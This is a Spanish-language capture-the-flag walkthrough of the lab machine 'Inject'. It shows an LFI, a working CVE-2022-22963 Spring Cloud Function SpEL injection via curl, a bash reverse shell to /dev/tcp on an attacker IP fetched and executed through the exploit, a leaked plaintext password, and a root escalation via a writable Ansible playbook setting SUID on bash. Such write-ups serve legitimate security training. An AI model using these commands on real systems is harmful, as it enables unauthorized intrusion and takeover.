• Inject is an Easy Difficulty Linux machine featuring a website with file upload functionality vulnerable to Local File Inclusion (LFI). By exploiting the LFI vulnerability, files on the system can be enumerated, revealing that the web application uses a specific version of the Spring-Cloud-Function-Web module susceptible to CVE-2022-22963. Exploiting this vulnerability grants an initial foothold as the frank user. Lateral movement is achieved by further file enumeration, which discloses a plaintext password for phil. A cronjob running on the machine can then be exploited to execute a malicious Ansible playbook, ultimately obtaining a reverse shell as the root user.

PortScan

  • Comenzamos escaneando los puertos abiertos y sus servicios por el protocolo TCP.
➜  nmap sudo nmap -sCV -p22,8080 10.10.11.204 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-02 11:53 CST
Nmap scan report for 10.10.11.204
Host is up (0.084s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 ca:f1:0c:51:5a:59:62:77:f0:a8:0c:5c:7c:8d:da:f8 (RSA)
|   256 d5:1c:81:c9:7b:07:6b:1c:c1:b4:29:25:4b:52:21:9f (ECDSA)
|_  256 db:1d:8c:eb:94:72:b0:d3:ed:44:b9:6c:93:a7:f9:1d (ED25519)
8080/tcp open  nagios-nsca Nagios NSCA
|_http-title: Home
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración y LFI

  • Vemos las versiones que esta corriendo el servicio web que al parecer no son muchas.
  nmap whatweb http://10.10.11.204:8080
http://10.10.11.204:8080 [200 OK] Bootstrap, Content-Language[en-US], Country[RESERVED][ZZ], Frame, HTML5, IP[10.10.11.204], Title[Home], YouTube
  • Esta es la pagina web.

  • En la parte de register no vemos nada importante.

  • La parte de blogs funciona y vemos algunos usuarios.

  • Sin embargo hay una ruta que se llama /upload la cual esta si funciona.

  • Vamos a subir un archivo cualquiera en este caso un .txt.

  • Sin embargo aunque lo subamos nos da esta respuesta.

  • Si probamos con una imagen funciona.

  • Podemos ver la imagen y la url es interesante.

  • Vamos a capturar la petición con burpsuite al momento de abrir la imagen y si probamos un LFI vemos que funciona.

  • Hay 2 usuarios.

  • Si vemos lo que hay dentro del directorio de frank encontramos esto.

  • Aquí vemos una contraseña y un .xml con información.

La contraseña no funciona para conectarnos por SSH.

El archivo de configuración que ha mostrado pertenece a Maven, que es una herramienta de gestión y comprensión de proyectos de software. Este archivo específico se usa para configurar ajustes relacionados con la construcción y gestión de proyectos en Maven By ChatGPT.

  • Vemos que ya nos hablan de Java.

  • Vemos un WebApp con archivos interesantes.

  • Si le decimos a ChatGPT a que corresponden esos archivos nos dice que pertenecen a Maven.

La imagen que has proporcionado muestra una lista de archivos y directorios que son comunes en un proyecto de Java utilizando Maven como sistema de gestión y construcción de proyectos.

Spring Cloud Function

  • En el archivo pom.xml encontramos información incluye dependencias, propiedades del proyecto y configuraciones especificas de compilación.

  • Nos da la versión que se esta utilizando para la biblioteca spring-cloud-function-web con versión 3.2.2.

➜  content curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/8.5.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("touch /tmp/pwned")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 02 Jun 2024 18:52:19 GMT
< Connection: close
<
* Closing connection
{"timestamp":"2024-06-02T18:52:19.471+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}%                                   
  • Si comprobamos desde el LFI vemos que efectivamente se creo.

Shell as frank

  • Para obtener una shell vamos a crear un .sh que contenga una reverse shell y lo vamos a compartir mediante un servidor http con python3 para poder descargarlo en la maquina victima y hacer una petición al archivo.
➜  content cat reverse.php
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.55/443 0>&1
➜  content python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
  • Ahora nos ponemos en escucha.
➜  ~ nc -nlvp 443
listening on [any] 443 ...
  • Ahora subimos el archivo a la máquina.
➜  content curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.55:80/reverse.sh -o /tmp/reverse.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/8.5.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("curl http://10.10.14.55:80/reverse.sh -o /tmp/reverse.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 02 Jun 2024 18:58:15 GMT
< Connection: close
<
* Closing connection
{"timestamp":"2024-06-02T18:58:15.168+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
  • Ahora le damos permisos de ejecución.
➜  content curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/reverse.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/8.5.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("chmod +x /tmp/reverse.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 02 Jun 2024 18:59:10 GMT
< Connection: close
<
* Closing connection
{"timestamp":"2024-06-02T18:59:10.711+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
  • Y por ultimo lo ejecutamos para obtener shell.
➜  content curl -X POST http://10.10.11.204:8080/functionRouter -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/reverse.sh")' --data-raw 'data' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
*   Trying 10.10.11.204:8080...
* Connected to 10.10.11.204 (10.10.11.204) port 8080
> POST /functionRouter HTTP/1.1
> Host: 10.10.11.204:8080
> User-Agent: curl/8.5.0
> Accept: */*
> spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash /tmp/reverse.sh")
> Content-Length: 4
> Content-Type: application/x-www-form-urlencoded
>
< HTTP/1.1 500
< Content-Type: application/json
< Transfer-Encoding: chunked
< Date: Sun, 02 Jun 2024 19:00:11 GMT
< Connection: close
<
* Closing connection
{"timestamp":"2024-06-02T19:00:11.233+00:00","status":500,"error":"Internal Server Error","message":"EL1001E: Type conversion problem, cannot convert from java.lang.ProcessImpl to java.lang.String","path":"/functionRouter"}
  • Recibimos la shell.
➜  ~ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.55] from (UNKNOWN) [10.10.11.204] 42862
bash: cannot set terminal process group (827): Inappropriate ioctl for device
bash: no job control in this shell
frank@inject:/$ whoami
whoami
frank
frank@inject:/$

Shell as phil

  • Si recordamos tenemos la contraseña de phil de primeras no pudimos conectarnos por ssh pero si podemos migrar a ese usuario desde la shell.
frank@inject:~/.m2$ cat settings.xml
<?xml version="1.0" encoding="UTF-8"?>
<settings xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
  <servers>
    <server>
      <id>Inject</id>
      <username>phil</username>
      <password>DocPhillovestoInject123</password>
      <privateKey>${user.home}/.ssh/id_dsa</privateKey>
      <filePermissions>660</filePermissions>
      <directoryPermissions>660</directoryPermissions>
      <configuration></configuration>
    </server>
  </servers>
</settings>
frank@inject:~/.m2$
  • Funciona.
frank@inject:~/.m2$ su phil
Password:
phil@inject:/home/frank/.m2$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject:/home/frank/.m2$

User flag

  • Podemos ver la flag.
phil@inject:~$ cat user.txt
8dc5c8c4c03735847448fbf460738832
phil@inject:~$

Privilege Escalation

  • Allí vemos la estructura del .yml.
phil@inject:/opt/automation$ cd tasks/
phil@inject:/opt/automation/tasks$ ls
playbook_1.yml
phil@inject:/opt/automation/tasks$ cat playbook_1.yml
- hosts: localhost
  tasks:
  - name: Checking webapp service
    ansible.builtin.systemd:
      name: webapp
      enabled: yes
      state: started
phil@inject:/opt/automation/tasks$
  • Vemos que el directorio tasks corresponde al grupo staff y nosotros estamos allí y podemos escribir.
phil@inject:/opt/automation/tasks$ id
uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff)
phil@inject:/opt/automation/tasks$ cd ..
phil@inject:/opt/automation$ ls -l
total 4
drwxrwxr-x 2 root staff 4096 Jun  2 19:26 tasks
phil@inject:/opt/automation/tasks$ cat playbook_2.yml
- hosts: localhost
  tasks:
    - name: SUID
      ansible.builtin.shell: |
        chmod +s /bin/bash
      become: true
phil@inject:/opt/automation/tasks$
  • Vamos a esperar a que se ejecute la tarea y ver si las bash se le otorga el privilegio SUID.
phil@inject:/opt/automation/tasks$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash
phil@inject:/opt/automation/tasks$

Shell as root

  • Ahora ya estamos como root y vemos la flag.
phil@inject:/opt/automation/tasks$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
5a756880b37d955eee4996c9ef8a0620
bash-5.0#